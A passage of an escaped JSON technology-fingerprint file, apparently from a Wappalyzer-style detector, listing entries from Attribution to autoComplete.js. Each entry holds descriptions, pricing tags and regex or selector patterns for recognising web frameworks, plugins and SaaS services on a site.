profit resulting from marketing programs.\",\n    \"icon\": \"Attribution.svg\",\n    \"js\": {\n      \"Attribution.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:50\",\n      \"Attribution._options\": \"\\\\;confidence:50\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.attributionapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.attributionapp.com\"\n  },\n  \"Auberge\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Auberge is a responsive WordPress theme designed for restaurants, cafes, and recipe blogs.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/auberge/']\"\n    ],\n    \"icon\": \"Auberge.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/themes/auberge/.+\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.webmandesign.eu/portfolio/auberge-wordpress-theme/\"\n  },\n  \"AudioEye\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"AudioEye is an accessibility overlay which claims to provide ADA and WCAG accessibility compliance.\",\n    \"dom\": [\n      \"iframe[scr*='.audioeye.com/']\"\n    ],\n    \"icon\": \"AudioEye.svg\",\n    \"js\": {\n      \"$ae.attrHooks\": \"\",\n      \"window.AudioEye.version\": \"^([\\\\d.]+)-\\\\d+$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\.)?audioeye\\\\.com/(?:ae\\\\.js)?\"\n    ],\n    \"website\": \"https://www.audioeye.com\"\n  },\n  \"Audiohook\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Audiohook specializes in programmatic audio advertising.\",\n    \"dom\": [\n      \"img[src*='listen.audiohook.com/']\"\n    ],\n    \"icon\": \"Audiohook.svg\",\n    \"website\": \"https://www.audiohook.com\"\n  },\n  \"Auglio\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Auglio is a virtual try-on tool enabling customers to try products using camera and augmented reality before the purchase.\",\n    \"icon\": \"Auglio.svg\",\n    \"js\": {\n      \"VirtooalApp\": \"\",\n      \"loadVirtooalScript\": \"\",\n      \"virtooal_logger\": \"\",\n      \"virtooal_script_loaded\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://auglio.com\"\n  },\n  \"Aument\": {\n    \"cats\": [\n      75,\n      98\n    ],\n    \"description\": \"Aument is an ecommerce toolbox with easy to use marketing actions and workflows.\",\n    \"dom\": [\n      \"div#aumentDiscountCode, link[href*='aumentstaticfiles.s3.amazonaws.com/']\"\n    ],\n    \"icon\": \"Aument.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"aumentstaticfiles\\\\.s3\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://aument.io\"\n  },\n  \"Aura\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Aura is an open-source UI framework built by Salesforce for developing dynamic web apps for mobile and desktop devices.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Aura.app\": \"siteforce\\\\:communityApp\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/forcedotcom/aura\"\n  },\n  \"Aurelia\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Aurelia is an open-source UI JavaScript framework designed to create single page applications.\",\n    \"dom\": [\n      \"div[aurelia-app], body[aurelia-app], a[au-target-id]\"\n    ],\n    \"icon\": \"Aurelia.svg\",\n    \"js\": {\n      \"_aureliaConfigureModuleLoader\": \"\",\n      \"localAurelia\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/aurelia[\\\\d\\\\w\\\\-\\\\.]+\\\\.js\"\n    ],\n    \"website\": \"https://aurelia.io\"\n  },\n  \"Auryc\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Auryc is a client-side journey intelligence platform that surfaces real-time insights.\",\n    \"icon\": \"Auryc.svg\",\n    \"js\": {\n      \"aurycJsLibConfig.base.code_version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.auryc\\\\.com/\"\n    ],\n    \"website\": \"https://www.auryc.com\"\n  },\n  \"Australia Post\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Australia Post is the government business enterprise that provides postal services in Australia.\",\n    \"icon\": \"AusPost.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bAusPost\\\\b\",\n      \"\\\\bAustralia Post\\\\b\"\n    ],\n    \"website\": \"https://auspost.com.au\"\n  },\n  \"Auth0\": {\n    \"cats\": [\n      69\n    ],\n    \"cpe\": \"cpe:2.3:a:auth0:auth0.js:*:*:*:*:*:node.js:*:*\",\n    \"description\": \"Auth0 provides authentication and authorisation as a service.\",\n    \"dom\": [\n      \"link[href*='cdn.auth0.com']\"\n    ],\n    \"headers\": {\n      \"x-auth0-requestid\": \"\"\n    },\n    \"icon\": \"Auth0.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/auth0(?:-js)?/([\\\\d.]+)/auth0(?:.min)?\\\\.js\\\\;version:\\\\1\",\n      \"/auth0-js@([\\\\d.]+)/([a-z]+)/auth0\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://auth0.github.io/auth0.js/index.html\"\n  },\n  \"Auth0 Lock\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Auth0 Lock enables you to easily add social identity providers, so that your users can log in seamlessly using any desired provider.\",\n    \"icon\": \"Auth0.svg\",\n    \"implies\": [\n      \"Auth0\"\n    ],\n    \"scriptSrc\": [\n      \"/lock/([\\\\d.]+)/lock(?:.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://auth0.com/docs/libraries/lock\"\n  },\n  \"AutoManager\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"AutoManager is a CMS system designed specifically for automotive businesses.\",\n    \"dom\": [\n      \"link[href*='clients.automanager.com/']\"\n    ],\n    \"icon\": \"AutoManager.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.automanager\\\\.com/\"\n    ],\n    \"website\": \"https://www.automanager.io\"\n  },\n  \"Autocommerce\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Autocommerce is a product recommendation app for Shopify stores, similar to Amazon, designed to enhance the shopping experience by suggesting relevant products to customers based on their browsing and purchase history.\",\n    \"icon\": \"Autocommerce.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.autocommerce\\\\.io/\"\n    ],\n    \"website\": \"https://autocommerce.io\"\n  },\n  \"Autoketing\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Autoketing is a marketing automation platform.\",\n    \"icon\": \"Autoketing.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://autoketing.com\"\n  },\n  \"Autoketing Product Reviews\": {\n    \"cats\": [\n      100,\n      90\n    ],\n    \"description\": \"Autoketing Product Reviews is an application that allows shop owners to manage the product review section on their website.\",\n    \"icon\": \"Autoketing.svg\",\n    \"implies\": [\n      \"Shopify\",\n      \"Autoketing\"\n    ],\n    \"js\": {\n      \"autoketingproduct_reivew\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://apps.shopify.com/product-reviews-autoketing\"\n  },\n  \"Automatad\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Automatad is a digital media products company that provides a suite of programmatic monetisation solutions.\",\n    \"icon\": \"automatad.png\",\n    \"scriptSrc\": [\n      \"//go\\\\.automatad\\\\.com/\"\n    ],\n    \"website\": \"https://automatad.com/\"\n  },\n  \"Automatic.css\": {\n    \"cats\": [\n      66,\n      87\n    ],\n    \"description\": \"Automatic.css is a CSS framework for WordPress page builders.\",\n    \"dom\": [\n      \"link[href*='/wp-content/uploads/automatic-css/']\"\n    ],\n    \"icon\": \"Automatic.css.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://automaticcss.com\"\n  },\n  \"Automizely\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Automizely creates and manages enterprise-level marketing automation systems including contact and CRM mappings, lead funnels, email nurture, lead-generating pages, and blog posts, and website integrations.\",\n    \"icon\": \"Automizely.svg\",\n    \"js\": {\n      \"AM_CONSENT_SDK.product\": \"automizely\",\n      \"amStorefrontKit.hRequestEventTarget\": \"\",\n      \"automizelyConversions\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.automizely\\\\.com/\"\n    ],\n    \"website\": \"https://www.automizely.com/marketing\"\n  },\n  \"Autopilot\": {\n    \"cats\": [\n      32,\n      74,\n      75\n    ],\n    \"description\": \"Autopilot is a visual marketing software that enables users to create marketing campaigns and manage lead conversions. \",\n    \"icon\": \"Autopilot.svg\",\n    \"js\": {\n      \"Autopilot\": \"\\\\;confidence:50\",\n      \"AutopilotAnywhere\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.autopilothq.com\"\n  },\n  \"Autoptimize\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"Autoptimize is a WordPress plugin that optimises website performance by aggregating, minifying, and compressing HTML, CSS, and JavaScript files.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/autoptimize/'], link[href*='/wp-content/cache/autoptimize/']\"\n    ],\n    \"icon\": \"Autoptimize.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/autoptimize/.+\\\\.js(?:\\\\?ao_version=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://autoptimize.com\"\n  },\n  \"Auxilia\": {\n    \"cats\": [\n      41\n    ],\n    \"cookies\": {\n      \"messagesUtk\": \"\"\n    },\n    \"description\": \"Auxilia is a software solution designed to streamline donor management processes for nonprofits.\",\n    \"icon\": \"Auxilia.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.theauxilia\\\\.com\"\n    ],\n    \"website\": \"https://www.theauxilia.com/\"\n  },\n  \"Avada AVASHIP\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Avada AVASHIP is an order tracking Shopify app.\",\n    \"icon\": \"Avada.svg\",\n    \"js\": {\n      \"AVADA_FSB.bars\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"freeshippingbar\\\\.apps\\\\.avada\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/avaship\"\n  },\n  \"Avada Boost Sales\": {\n    \"cats\": [\n      100,\n      5\n    ],\n    \"description\": \"AVADA Boost Sales is a one-stop solution that is specially designed to increase your sales with countdown timer, trust badges, sales pop, sales boost and many more.\",\n    \"icon\": \"Avada.svg\",\n    \"js\": {\n      \"AVADA_BS_LAST_UPDATE\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"boostsales\\\\.apps\\\\.avada\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/avada-boost-sales\"\n  },\n  \"Avada SEO\": {\n    \"cats\": [\n      100,\n      54\n    ],\n    \"description\": \"Avada SEO is a Shopify app built and designed following strict SEO practices.\",\n    \"icon\": \"Avada.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"seo\\\\.apps\\\\.avada\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/avada-seo-suite\"\n  },\n  \"Avada Size Chart\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Avada Size Chart is a thoughtful app that helps online stores reduce return rates with useful size guides.\",\n    \"icon\": \"Avada.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sizechart\\\\.apps\\\\.avada\\\\.io/\"\n    ],\n    \"website\": \"https://apps.shopify.com/avada-size-chart\"\n  },\n  \"Avangate\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Avangate (2Checkout) is a digital ecommerce platform for businesses that sell physical goods or digital products.\",\n    \"icon\": \"Avangate.svg\",\n    \"implies\": [\n      \"Verifone 2Checkout\"\n    ],\n    \"js\": {\n      \"AvaCart.version\": \"(.+)\\\\;version:\\\\1\",\n      \"__avng8_callbacks\": \"\",\n      \"avaSlugify\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^https?://edge\\\\.avangate\\\\.net/\"\n    ],\n    \"website\": \"https://www.2checkout.com\"\n  },\n  \"Avanser\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Avanser allow you to track every call and enable your business to make better-informed decisions based on your phone calls.\",\n    \"icon\": \"Avanser.svg\",\n    \"js\": {\n      \"AVANSERjs\": \"\",\n      \"AvanserCore\": \"\",\n      \"AvanserOptions\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.avanser.com\"\n  },\n  \"Avasize\": {\n    \"cats\": [\n      5\n    ],\n    \"icon\": \"Avasize.png\",\n    \"scriptSrc\": [\n      \"^https?://cdn\\\\.avasize\\\\.com/\"\n    ],\n    \"website\": \"https://www.avasize.com\"\n  },\n  \"Avis Verifies\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Avis Verifies is a complete solution for managing your customer reviews.\",\n    \"dom\": [\n      \"a[href*='.avis-verifies.com/'][target='_blank'], iframe[src*='.avis-verifies.com/']\"\n    ],\n    \"icon\": \"Avis Verifies.svg\",\n    \"js\": {\n      \"avisVerifies\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.avis-verifies\\\\.com/\"\n    ],\n    \"website\": \"https://www.netreviews.com\"\n  },\n  \"Aweber\": {\n    \"cats\": [\n      32,\n      75\n    ],\n    \"description\": \"AWeber is an email marketing service.\",\n    \"dom\": [\n      \"form[action*='aweber.com']\"\n    ],\n    \"icon\": \"Aweber.svg\",\n    \"js\": {\n      \"awt_analytics\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.aweber\\\\.com/\"\n    ],\n    \"website\": \"https://www.aweber.com\"\n  },\n  \"Awesomplete\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"Awesomplete is a tool in the Javascript UI Libraries category of a tech stack.\",\n    \"html\": [\n      \"<link[^>]+href=\\\"[^>]*awesomplete(?:\\\\.min)?\\\\.css\"\n    ],\n    \"js\": {\n      \"Awesomplete\": \"\",\n      \"awesomplete\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/awesomplete\\\\.js(?:$|\\\\?)\"\n    ],\n    \"website\": \"https://leaverou.github.io/awesomplete/\"\n  },\n  \"Axeptio\": {\n    \"cats\": [\n      67\n    ],\n    \"cookies\": {\n      \"axeptio_all_vendors\": \"\",\n      \"axeptio_authorized_vendors\": \"\",\n      \"axeptio_cookies\": \"\"\n    },\n    \"description\": \"Axeptio is a trusted third party that collects and archive users' consent in a GDPR compliant fashion.\",\n    \"dom\": [\n      \"img[src*='axeptio.imgix.net/'], div#axeptio_overlay\"\n    ],\n    \"icon\": \"Axeptio.svg\",\n    \"js\": {\n      \"axeptioBuildTimestamp\": \"\",\n      \"axeptioHandleVendors\": \"\",\n      \"axeptioSDK\": \"\",\n      \"axeptioSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.axept.io\"\n  },\n  \"Axios\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*\",\n    \"description\": \"Promise based HTTP client for the browser and node.js\",\n    \"icon\": \"Axios.svg\",\n    \"js\": {\n      \"axios.get\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/axios(@|/)([\\\\d.]+)(?:/[a-z]+)?/axios(?:.min)?\\\\.js\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://github.com/axios/axios\"\n  },\n  \"Azion\": {\n    \"cats\": [\n      31\n    ],\n    \"dns\": {\n      \"CNAME\": \"azioncdn\\\\.net\\\\.?$\"\n    },\n    \"dom\": [\n      \"link[href*='.azion.com/'][rel='canonical']\"\n    ],\n    \"headers\": {\n      \"Server\": \"^Azion \"\n    },\n    \"icon\": \"Azion.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.azion.com/\"\n  },\n  \"Azko CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Azko CMS is a content management system developed by Azko (Septeo Group) specifically launched for lawyers in France.\",\n    \"icon\": \"Azko CMS.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Bootstrap\",\n      \"Slick\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//js\\\\.fw\\\\.azko\\\\.fr/\"\n    ],\n    \"website\": \"https://www.azko.fr\"\n  },\n  \"Azoya\": {\n    \"cats\": [\n      6,\n      106\n    ],\n    \"description\": \"Azoya helps international brands and retailers sell directly to Chinese consumers through cross-border ecommerce.\",\n    \"excludes\": [\n      \"Magento\"\n    ],\n    \"headers\": {\n      \"x-azoya-webisteid\": \"\"\n    },\n    \"icon\": \"Azoya.svg\",\n    \"js\": {\n      \"IMAGE_CDN_HOST\": \"\\\\.azoyacdn\\\\.com\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.azoyagroup.com\"\n  },\n  \"Azure\": {\n    \"cats\": [\n      62\n    ],\n    \"cookies\": {\n      \"ARRAffinity\": \"\",\n      \"TiPMix\": \"\"\n    },\n    \"description\": \"Azure is a cloud computing service for building, testing, deploying, and managing applications and services through Microsoft-managed data centers.\",\n    \"dns\": {\n      \"NS\": [\n        \"\\\\.azure-dns\\\\.\"\n      ],\n      \"SOA\": [\n        \"azuredns-cloud\\\\.net\"\n      ]\n    },\n    \"headers\": {\n      \"azure-regionname\": \"\",\n      \"azure-sitename\": \"\",\n      \"azure-slotname\": \"\",\n      \"azure-version\": \"\",\n      \"server\": \"^Windows-Azure\",\n      \"x-ms-client-request-id\": \"\",\n      \"x-ms-correlation-request-id\": \"\",\n      \"x-ms-gateway-requestid\": \"\"\n    },\n    \"icon\": \"Azure.svg\",\n    \"website\": \"https://azure.microsoft.com\"\n  },\n  \"Azure AD B2C\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Azure Active Directory B2C is a customer identity access management (CIAM) solution.\",\n    \"icon\": \"AzureADB2C.png\",\n    \"implies\": [\n      \"Azure\"\n    ],\n    \"url\": [\n      \"https.+\\\\.b2clogin\\\\.com\"\n    ],\n    \"website\": \"https://azure.microsoft.com/en-us/services/active-directory/external-identities/b2c/\"\n  },\n  \"Azure CDN\": {\n    \"cats\": [\n      31,\n      23\n    ],\n    \"description\": \"Azure Content Delivery Network (CDN) reduces load times, save bandwidth and speed responsiveness.\",\n    \"headers\": {\n      \"X-EC-Debug\": \"\",\n      \"server\": \"^(?:ECAcc|ECS|ECD)\"\n    },\n    \"icon\": \"Azure.svg\",\n    \"implies\": [\n      \"Azure\"\n    ],\n    \"website\": \"https://azure.microsoft.com/en-us/services/cdn/\"\n  },\n  \"Azure Edge Network\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Azure Edge Network is a global network infrastructure provided by Microsoft Azure. It is designed to deliver content, applications, and services to end-users with low latency and high performance. The Azure Edge Network consists of a combination of Azure Content Delivery Network (CDN), Azure Front Door, and Azure Traffic Manager.\",\n    \"dom\": [\n      \"link[href*='.azureedge.net/']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.azureedge\\\\.net\"\n    },\n    \"icon\": \"Azure.svg\",\n    \"scriptSrc\": [\n      \"\\\\.azureedge\\\\.net/\"\n    ],\n    \"website\": \"https://learn.microsoft.com/en-us/azure/cdn/cdn-overview\"\n  },\n  \"Azure Front Door\": {\n    \"cats\": [\n      65\n    ],\n    \"cookies\": {\n      \"ASLBSA\": \"\",\n      \"ASLBSACORS\": \"\"\n    },\n    \"description\": \"Azure Front Door is a scalable and secure entry point for fast delivery of your global web applications.\",\n    \"headers\": {\n      \"X-Azure-Ref\": \"\"\n    },\n    \"icon\": \"Azure.svg\",\n    \"implies\": [\n      \"Azure\"\n    ],\n    \"website\": \"https://docs.microsoft.com/en-us/azure/frontdoor/\"\n  },\n  \"Azure Monitor\": {\n    \"cats\": [\n      10,\n      92\n    ],\n    \"description\": \"Azure Monitor collects monitoring telemetry from a variety of on-premises and Azure sources. Azure Monitor helps you maximise the availability and performance of your applications and services.\",\n    \"dom\": [\n      \"link[href*='js.monitor.azure.com']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"js\\\\.monitor\\\\.azure\\\\.com\"\n    },\n    \"icon\": \"Azure.svg\",\n    \"implies\": [\n      \"Azure\"\n    ],\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.monitor\\\\.azure\\\\.com/\"\n    ],\n    \"website\": \"https://azure.microsoft.com/en-us/services/monitor\"\n  },\n  \"a-blog cms\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"a-blog cms.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"a-blog cms\"\n    },\n    \"website\": \"https://www.a-blogcms.jp\"\n  },\n  \"a3 Lazy Load\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"a3 Lazy Load is a mobile oriented, very simple to use plugin that will speed up sites page load speed.\",\n    \"icon\": \"a3.png\",\n    \"js\": {\n      \"a3_lazyload_extend_params\": \"\",\n      \"a3_lazyload_params\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/a3-lazy-load/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://a3rev.com/shop/a3-lazy-load/\"\n  },\n  \"aThemes Airi\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"aThemes Airi is a powerful yet lightweight and flexible WordPress theme for organization or freelancer.\",\n    \"dom\": [\n      \"link#airi-style-css\"\n    ],\n    \"icon\": \"aThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/airi/\"\n    ],\n    \"website\": \"https://athemes.com/theme/airi\"\n  },\n  \"aThemes Astrid\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"aThemes Astrid is a powerful yet lightweight and flexible WordPress theme.\",\n    \"dom\": [\n      \"link#astrid-style-css\"\n    ],\n    \"icon\": \"aThemes.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/astrid/\"\n    ],\n    \"website\": \"https://athemes.com/theme/astrid\"\n  },\n  \"aThemes Hiero\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"aThemes Hiero is an awesome magazine theme for your WordPress site feature bold colors and details to the content.\",\n    \"icon\": \"aThemes.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/hiero/\"\n    ],\n    \"website\": \"https://athemes.com/theme/hiero\"\n  },\n  \"aThemes Moesia\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"aThemes Moesia is the business theme you need in order to build your presence on the Internet.\",\n    \"dom\": [\n      \"link#moesia-style-css\"\n    ],\n    \"icon\": \"aThemes.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/moesia(?:-pro-ii)?/\"\n    ],\n    \"website\": \"https://athemes.com/theme/moesia\"\n  },\n  \"aThemes Sydney\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"aThemes Sydney is a powerful business WordPress theme that provides a fast way for companies or freelancers to create an online presence.\",\n    \"dom\": [\n      \"link#sydney-style-css\"\n    ],\n    \"icon\": \"aThemes.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\",\n      \"freemium\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/sydney(?:-pro-ii)?/\"\n    ],\n    \"website\": \"https://athemes.com/theme/sydney\"\n  },\n  \"actionhero.js\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"actionhero API\"\n    },\n    \"icon\": \"ActionHeroJs.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"actionheroClient\": \"\"\n    },\n    \"scriptSrc\": [\n      \"actionheroClient\\\\.js\"\n    ],\n    \"website\": \"https://www.actionherojs.com\"\n  },\n  \"amCharts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"amCharts is a JavaScript-based interactive charts and maps programming library and tool.\",\n    \"html\": [\n      \"<svg[^>]*><desc>JavaScript chart by amCharts ([\\\\d.]*)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"amCharts.svg\",\n    \"js\": {\n      \"AmCharts\": \"\"\n    },\n    \"scriptSrc\": [\n      \"amcharts.*\\\\.js\"\n    ],\n    \"website\": \"https://amcharts.com\"\n  },\n  \"amoCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"amoCRM is a web-based customer relationship management software solution.\",\n    \"icon\": \"amoCRM.svg\",\n    \"js\": {\n      \"AMOCRM\": \"\",\n      \"AMO_PIXEL_CLIENT\": \"\",\n      \"amoFormsWidget\": \"\",\n      \"amoSocialButton\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.amocrm\\\\.(?:ru|com)\"\n    ],\n    \"website\": \"https://www.amocrm.com\"\n  },\n  \"anime.js\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Anime.js (/ˈæn.ə.meɪ/) is a lightweight JavaScript animation library with a simple, yet powerful API.It works with CSS properties, SVG, DOM attributes and JavaScript Objects.\",\n    \"icon\": \"anime.js.svg\",\n    \"js\": {\n      \"anime.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://animejs.com/\"\n  },\n  \"augmented-ui\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"augmented-ui is a UI framework inspired by cyberpunk and sci-fi.\",\n    \"dom\": [\n      \"[data-augmented-ui]\"\n    ],\n    \"icon\": \"Augmented-Ui.svg\",\n    \"oss\": true,\n    \"website\": \"https://augmented-ui.com\"\n  },\n  \"authorize.net\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Authorize.net is a secure online payment gateway service that enables businesses to accept payments through various channels, such as ecommerce websites, mobile devices, and retail stores, providing a trusted platform for processing credit card and electronic cheque payments.\",\n    \"headers\": {\n      \"Content-Security-Policy\": \"\\\\.authorize\\\\.net\\\\s\"\n    },\n    \"icon\": \"authorize.net.svg\",\n    \"js\": {\n      \"config.authorizenet_public_client_key\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.authorize\\\\.net/\"\n    ],\n    \"website\": \"https://www.authorize.net\"\n  },\n  \"autoComplete.js\": {\n    \"cats\": [\n      59\n    ],\n    